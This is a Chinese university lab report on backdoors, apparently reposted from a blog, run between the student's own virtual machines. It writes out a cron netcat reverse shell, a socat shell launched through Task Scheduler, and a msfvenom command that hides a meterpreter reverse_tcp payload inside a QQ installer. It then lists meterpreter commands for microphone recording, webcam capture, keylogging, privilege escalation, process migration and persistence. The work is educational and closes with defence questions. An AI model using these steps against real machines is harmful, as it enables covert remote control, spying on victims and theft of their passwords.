2019-2020-2 20175320 《网络对抗技术》Exp2 后门原理与实践
一、实验要求
了解nc、meterpreter以及metaspolit的使用方法,并利用以上软件实现以下操作:
- 1、攻击方获取被攻击方shell。
- 2、通过对正常软件植入后门程序,实现被攻击者运行带后门的软件时攻击者可以渗透被攻击方的系统。
- 3、对window以及linux进行设置,使得后门程序能在后台运行。
二、实验目标
- 1、使用netcat获取主机操作Shell,cron启动。
- 2、使用socat获取主机操作Shell, 任务计划启动。
- 3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
- 4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
三、实验过程
1.准备工作
(1)准备好windows以及linux两个虚拟机,并查看两者的ip地址。
(2)关闭windows的防火墙以及杀毒软件。
(3)两边都使用ping命令测试一下连通性。
需要注意的是,我在实验中遇到了linux无法ping通windows但windows可以ping通linux的情况。而这一问题在重新打开并关闭windows防火墙后得到了解决,所以在检查两者连通性时一定要确保两者之间可以两两ping通。
2.使用netcat获取主机操作Shell,cron启动
cron是linux下的定时任务,每分钟运行一次,因此我将linux作为被攻击的一方,windows作为攻击方,每到指定的时间linux中的nc便会与windows建立连接,并使得windows可以远程操作linux的shell。实验步骤如下:
(1)在老师给的码云链接中下载文件ncat,解压并复制到windows虚拟机中,然后windows打开cmd,并在cmd中进入ncat.exe所在的文件夹。
(2)在linux的终端中使用crontab -e
命令编辑定时任务,(命令输入并执行后会进入一个类似vim的界面,首次执行该指令会提示选择编辑器,这里我选择的是3)在打开的文件中使用插入模式添加代码57 * * * * /bin/netcat 192.168.219.130 5320 -e /bin/sh
(该代码的前面五位分别设置定时任务的分、时、日期、月以及周几,代码的后部分设置具体执行的指令,ip地址为攻击方的ip,5320为攻击方监听端口),使得每个小时的第57分钟linux都会向windows进行连接。
(3)windows在cmd中进入到ncat.ext所在的文件夹,然后输入命令ncat.exe -l -p 5320
,在5320端口启动监听。
(4)到了预定的时间时,可以在windows的cmd中获取linux的shell。
需要注意的是,最好在到了预定的时间后立刻在windows中执行命令ncat.exe -l -p 5320
,否则有可能会出现连接失败的情况。
3.使用socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,命令的格式为socat [options] <address> <address>
,其中address是必选项,option是可选项。任务计划启动是windows中的功能,效果类似于linux的cron。我将windows作为被攻击的一方,linux作为攻击方,每当windows用户锁定主机时,windows后台便会使用nc与linux建立连接,并使得linux可以远程操作windows的shell。实验步骤如下:
(1)在windows的控制面板中找到管理工具,并在管理工具中找到任务计划程序并点击。
(2)在任务计划程序中选择创建任务,填写任务名,设置触发器为锁定时,并在操作中设置程序或脚本为socat的可执行文件的路径,并在同一窗口添加参数tcp-listen:5320 exec:cmd.exe,pty,stderr
。
(3)创建并运行任务计划后,锁定windows主机,然后在linux的终端中输入命令socat - tcp:192.168.219.130:5320
(ip地址填写windows的ip),此时可以在linux中获取windows的cmd。
4.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
这一步骤需要在linux中使用metaspolit的msfvenom指令将meterpreter与其他模块结合起来生成一个带有后门程序的可执行文件,并通过nc将该文件传送给被攻击的windows主机,当windows用户点击该可执行文件时便会启动后门程序。实验过程如下:
(1)在主机中下载qq的安装程序PCQQ2020.exe
,并通过共享文件夹将该可执行文件导入linux(我试过直接复制到linux文件但不可行),然后将该可执行文件复制到指定位置。这里如果在hgfs文件夹下没有找到共享文件夹,可以尝试在命令行中输入并执行vmhgfs-fuse .host:/ /mnt/hgfs
。
(2)在linux中进入之前复制过来的可执行文件的目录,执行指令msfvenom -p windows/meterpreter/reverse_tcp -x ./PCQQ2020.exe -e x86/shikata_ga_nal -i 5 -b '\x00' LHOST=192.168.219.134 LPORT=5320 -f exe > QQINSTALL.exe
,将后门程序与正常的可执行文件捆绑起来。指令中的windows参数指定了运行平台,meterpreter表示使用了meterpreter,reverse_tcp表示使用反弹式tcp连接,LHOST后填写攻击方的ip,LPORT后填写攻击方的监听端口,箭头后填写生成的程序名。
(3)使用nc将包含后门程序的可执行文件传输给被攻击的windows。在windows使用管理员权限运行cmd,在其中输入命令ncat.exe -l 5320 > QQINSTALL.exe
,然后在linux中执行nc 192.168.219.130 5320 < QQINSTALL.exe
发送可执行文件。其中nc后的ip为接收方ip。
(4)在linux的终端中输入msfconsole
指令进入msf控制台,在控制台中输入指令use exploit/multi/handler
使用监听模块,此时控制台中会出现红色的multi/handler字样。
(5)通过set payload windows/meterpreter/reverse_tcp
命令设置payload,set LHOST 192.168.219.134
命令设置ip,set LPORT 5318
命令设置端口。
(6)设置完毕后,在windows中运行带后门程序的可执行文件,然后在linux的msf控制台中输入exploit
命令执行监听,此时我们就能远程控制windows主机了。
5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在上一任务中获取了windows主机的控制权后,在meterpreter中输入help
可以查看可以进行的操作。通过帮助命令我们可以得知获取主机音频的命令为record_mic
,获取摄像头并拍照的命令为webcam_snap
,获取击键记录的命令为keyscan
系列的命令,提权的命令为getsystem
。
(1)获取主机音频
在meterpreter中输入record_mic
指令,然后到指定路径中就可以找到录制的音频文件。
(2)获取主机摄像头使用权并拍照
vmware中首先需要给虚拟机添加摄像头设备,在vmware的虚拟机->可移动设备中勾选webcam设备选项,从而使得虚拟机可以使用摄像头。然后在linux中输入webcam_snap
命令让受控方的摄像头拍摄照片。
(3)获取击键记录
使用keyscan_start
命令开始记录,keyscan_dump
命令读取记录。
(4)提权
linux中输入getuid
命令获取当前用户信息,使用getsystem
命令进行提权。
(5)进程迁移
在meterpreter中输入ps
命令显示被攻击方主机的所有进程,这里我使用使用migrate 3460
命令将meterpreter hook到ie进程上。
(6)后渗透攻击模块post
在metasploit的文件下可以找到适用于各平台的post模块,这里我进入了windows的目录,可以看见post有如下图几种功能模块:
在meterpreter中可以使用info+post模块
来查看post的功能,使用run+post模块
来运行post模块,这里我使用了post/windows/gather/checkvm
模块来查看被攻击方是否为虚拟机。
(7)将meterpreter安装到目标虚拟机
在meterpreter中输入run persistence
命令进行持久化,输入run metsvc
安装成服务。这里需要注意的是,如果需要安装成服务,可以先在被攻击方使用管理员权限运行带后门程序的可执行文件,这样在安装成服务时就不会因为权限不够而安装失败。
四、实验中遇到的问题
本次实验中遇到的都是些小问题,主要由于后门程序与攻击方监听的启动顺序有误以及权限不够造成的。
问题一:将主机中的可执行文件复制到linux文件目录时未成功。
问题一解决方法:通过共享文件夹将可执行文件导入linux
问题二:使用nc发送含有后门程序的可执行文件时出现拒绝访问的提示。
问题二解决方法:windows的cmd需要以管理员身份运行。
问题三:使用被攻击方的摄像头进行拍照时未成功。
问题三解决方法:虚拟机添加摄像头设备。
问题四:将meterpreter安装为服务时报错。
问题四解决方法:在被攻击主机中使用管理员权限运行带后门程序的可执行文件。
五、实验感想和思考
本次实验是验证性实验,总的来说只要了解了每个步骤的意图并按照思路来做的话基本不会遇到较大的问题。虽然实验环境对攻击的限制条件还是很多的,但这也提示着我们在日常使用网络的过程中一定不要访问可以网页,且尽量到官网下载所需要的的软件。
思考:
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
答:可能通过我们浏览的网页以及下载的安装包进入我们的系统。 - (2)例举你知道的后门如何启动起来(win及linux)的方式?
答:大多后门程序都需要用户行为来触发,比如运行某个带有后门程序的可执行文件。 - (3)Meterpreter有哪些给你映像深刻的功能?
答:可以进行截屏以及通过获取击键记录从而得知用户口令。 - (4)如何发现自己有系统有没有被安装后门?
答:可以在系统解锁或刚启动后使用wireshark捕包,看是否有大量的与同一个未知ip地址之间的tcp连接。
来源:https://www.cnblogs.com/nameless-student/p/12467105.html